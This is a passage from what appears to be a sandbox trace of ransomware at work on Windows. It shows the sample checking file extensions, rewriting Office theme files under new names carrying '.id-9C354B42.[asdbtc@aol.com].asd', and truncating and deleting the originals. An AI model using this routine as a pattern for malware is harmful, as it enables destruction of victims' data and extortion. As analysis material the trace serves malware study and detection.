dwFileAttributes=0x20) returned 1 [0055.858] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0055.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.858] lstrlenW (lpString=".doc") returned 4 [0055.858] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.858] lstrlenW (lpString=".docx") returned 5 [0055.858] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.858] lstrlenW (lpString=".pdf") returned 4 [0055.858] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.858] lstrlenW (lpString=".xls") returned 4 [0055.858] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.858] lstrlenW (lpString=".xlsx") returned 5 [0055.858] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.858] lstrlenW (lpString=".ppt") returned 4 [0055.858] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.858] lstrlenW (lpString=".zip") returned 4 [0055.858] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.858] lstrlenW (lpString=".rar") returned 4 [0055.858] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.858] lstrlenW (lpString=".bz2") returned 4 [0055.858] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.858] lstrlenW (lpString=".7z") returned 3 [0055.859] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.859] lstrlenW (lpString=".dbf") returned 4 [0055.859] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.859] lstrlenW (lpString=".1cd") returned 4 [0055.859] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.859] lstrlenW (lpString=".jpg") returned 4 [0055.859] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.859] lstrlenW (lpString=".doc") returned 4 [0055.859] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.859] lstrlenW (lpString=".docx") returned 5 [0055.859] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.859] lstrlenW (lpString=".pdf") returned 4 [0055.859] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.859] lstrlenW (lpString=".xls") returned 4 [0055.859] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.859] lstrlenW (lpString=".xlsx") returned 5 [0055.859] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.859] lstrlenW (lpString=".ppt") returned 4 [0055.859] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.859] lstrlenW (lpString=".zip") returned 4 [0055.859] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.859] lstrlenW (lpString=".rar") returned 4 [0055.859] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.859] lstrlenW (lpString=".bz2") returned 4 [0055.859] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.860] lstrlenW (lpString=".7z") returned 3 [0055.860] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.860] lstrlenW (lpString=".dbf") returned 4 [0055.860] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.860] lstrlenW (lpString=".1cd") returned 4 [0055.860] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0055.860] lstrlenW (lpString=".jpg") returned 4 [0055.860] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.860] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0055.860] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.860] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=29305) returned 1 [0055.861] CloseHandle (hObject=0x1f4) returned 1 [0055.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0055.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.861] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.861] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0055.861] GetLastError () returned 0x0 [0055.861] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x7279, lpOverlapped=0x0) returned 1 [0055.864] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x7280, lpOverlapped=0x0) returned 1 [0055.865] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.865] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.865] SetEndOfFile (hFile=0x168) returned 1 [0055.865] CloseHandle (hObject=0x168) returned 1 [0055.866] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.866] SetEndOfFile (hFile=0x1f4) returned 1 [0055.867] CloseHandle (hObject=0x1f4) returned 1 [0055.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.867] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0055.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.867] lstrlenW (lpString=".doc") returned 4 [0055.867] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.867] lstrlenW (lpString=".docx") returned 5 [0055.867] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.867] lstrlenW (lpString=".pdf") returned 4 [0055.867] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.867] lstrlenW (lpString=".xls") returned 4 [0055.867] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.867] lstrlenW (lpString=".xlsx") returned 5 [0055.867] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.867] lstrlenW (lpString=".ppt") returned 4 [0055.868] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.869] lstrlenW (lpString=".zip") returned 4 [0055.869] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.869] lstrlenW (lpString=".rar") returned 4 [0055.869] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.869] lstrlenW (lpString=".bz2") returned 4 [0055.869] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.869] lstrlenW (lpString=".7z") returned 3 [0055.869] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.869] lstrlenW (lpString=".dbf") returned 4 [0055.869] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.869] lstrlenW (lpString=".1cd") returned 4 [0055.869] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.869] lstrlenW (lpString=".jpg") returned 4 [0055.869] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.869] lstrlenW (lpString=".doc") returned 4 [0055.869] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.869] lstrlenW (lpString=".docx") returned 5 [0055.869] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.869] lstrlenW (lpString=".pdf") returned 4 [0055.869] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.869] lstrlenW (lpString=".xls") returned 4 [0055.869] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.869] lstrlenW (lpString=".xlsx") returned 5 [0055.869] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.869] lstrlenW (lpString=".ppt") returned 4 [0055.869] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.870] lstrlenW (lpString=".zip") returned 4 [0055.870] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.870] lstrlenW (lpString=".rar") returned 4 [0055.870] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.870] lstrlenW (lpString=".bz2") returned 4 [0055.870] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.870] lstrlenW (lpString=".7z") returned 3 [0055.870] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.870] lstrlenW (lpString=".dbf") returned 4 [0055.870] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.870] lstrlenW (lpString=".1cd") returned 4 [0055.870] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0055.870] lstrlenW (lpString=".jpg") returned 4 [0055.870] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.870] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0055.870] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.872] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1009) returned 1 [0055.872] CloseHandle (hObject=0x1f4) returned 1 [0055.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0055.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.872] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.872] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0055.874] GetLastError () returned 0x0 [0055.874] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0055.877] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x400, lpOverlapped=0x0) returned 1 [0055.880] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.880] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.880] SetEndOfFile (hFile=0x1e8) returned 1 [0055.880] CloseHandle (hObject=0x1e8) returned 1 [0055.881] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.881] SetEndOfFile (hFile=0x1f4) returned 1 [0055.881] CloseHandle (hObject=0x1f4) returned 1 [0055.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.882] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0055.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.882] lstrlenW (lpString=".doc") returned 4 [0055.882] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.882] lstrlenW (lpString=".docx") returned 5 [0055.882] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.882] lstrlenW (lpString=".pdf") returned 4 [0055.882] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.882] lstrlenW (lpString=".xls") returned 4 [0055.882] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.882] lstrlenW (lpString=".xlsx") returned 5 [0055.882] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.882] lstrlenW (lpString=".ppt") returned 4 [0055.882] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.882] lstrlenW (lpString=".zip") returned 4 [0055.882] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.883] lstrlenW (lpString=".rar") returned 4 [0055.883] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.883] lstrlenW (lpString=".bz2") returned 4 [0055.883] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.883] lstrlenW (lpString=".7z") returned 3 [0055.883] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.883] lstrlenW (lpString=".dbf") returned 4 [0055.883] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.883] lstrlenW (lpString=".1cd") returned 4 [0055.883] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.883] lstrlenW (lpString=".jpg") returned 4 [0055.883] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.883] lstrlenW (lpString=".doc") returned 4 [0055.883] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.883] lstrlenW (lpString=".docx") returned 5 [0055.883] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.883] lstrlenW (lpString=".pdf") returned 4 [0055.883] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.883] lstrlenW (lpString=".xls") returned 4 [0055.883] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.883] lstrlenW (lpString=".xlsx") returned 5 [0055.883] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.883] lstrlenW (lpString=".ppt") returned 4 [0055.883] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.883] lstrlenW (lpString=".zip") returned 4 [0055.883] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.884] lstrlenW (lpString=".rar") returned 4 [0055.884] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.884] lstrlenW (lpString=".bz2") returned 4 [0055.884] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.884] lstrlenW (lpString=".7z") returned 3 [0055.884] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.884] lstrlenW (lpString=".dbf") returned 4 [0055.884] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.884] lstrlenW (lpString=".1cd") returned 4 [0055.884] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.884] lstrlenW (lpString=".jpg") returned 4 [0055.884] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.884] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0055.884] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.885] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=27177) returned 1 [0055.885] CloseHandle (hObject=0x1f4) returned 1 [0055.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0055.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.885] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.885] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0055.886] GetLastError () returned 0x0 [0055.886] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x6a29, lpOverlapped=0x0) returned 1 [0055.888] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0055.890] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.890] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.890] SetEndOfFile (hFile=0x1e8) returned 1 [0055.890] CloseHandle (hObject=0x1e8) returned 1 [0055.890] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.891] SetEndOfFile (hFile=0x1f4) returned 1 [0055.891] CloseHandle (hObject=0x1f4) returned 1 [0055.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.892] DeleteFileW (lpFileName="C:\\Program Files\\Common 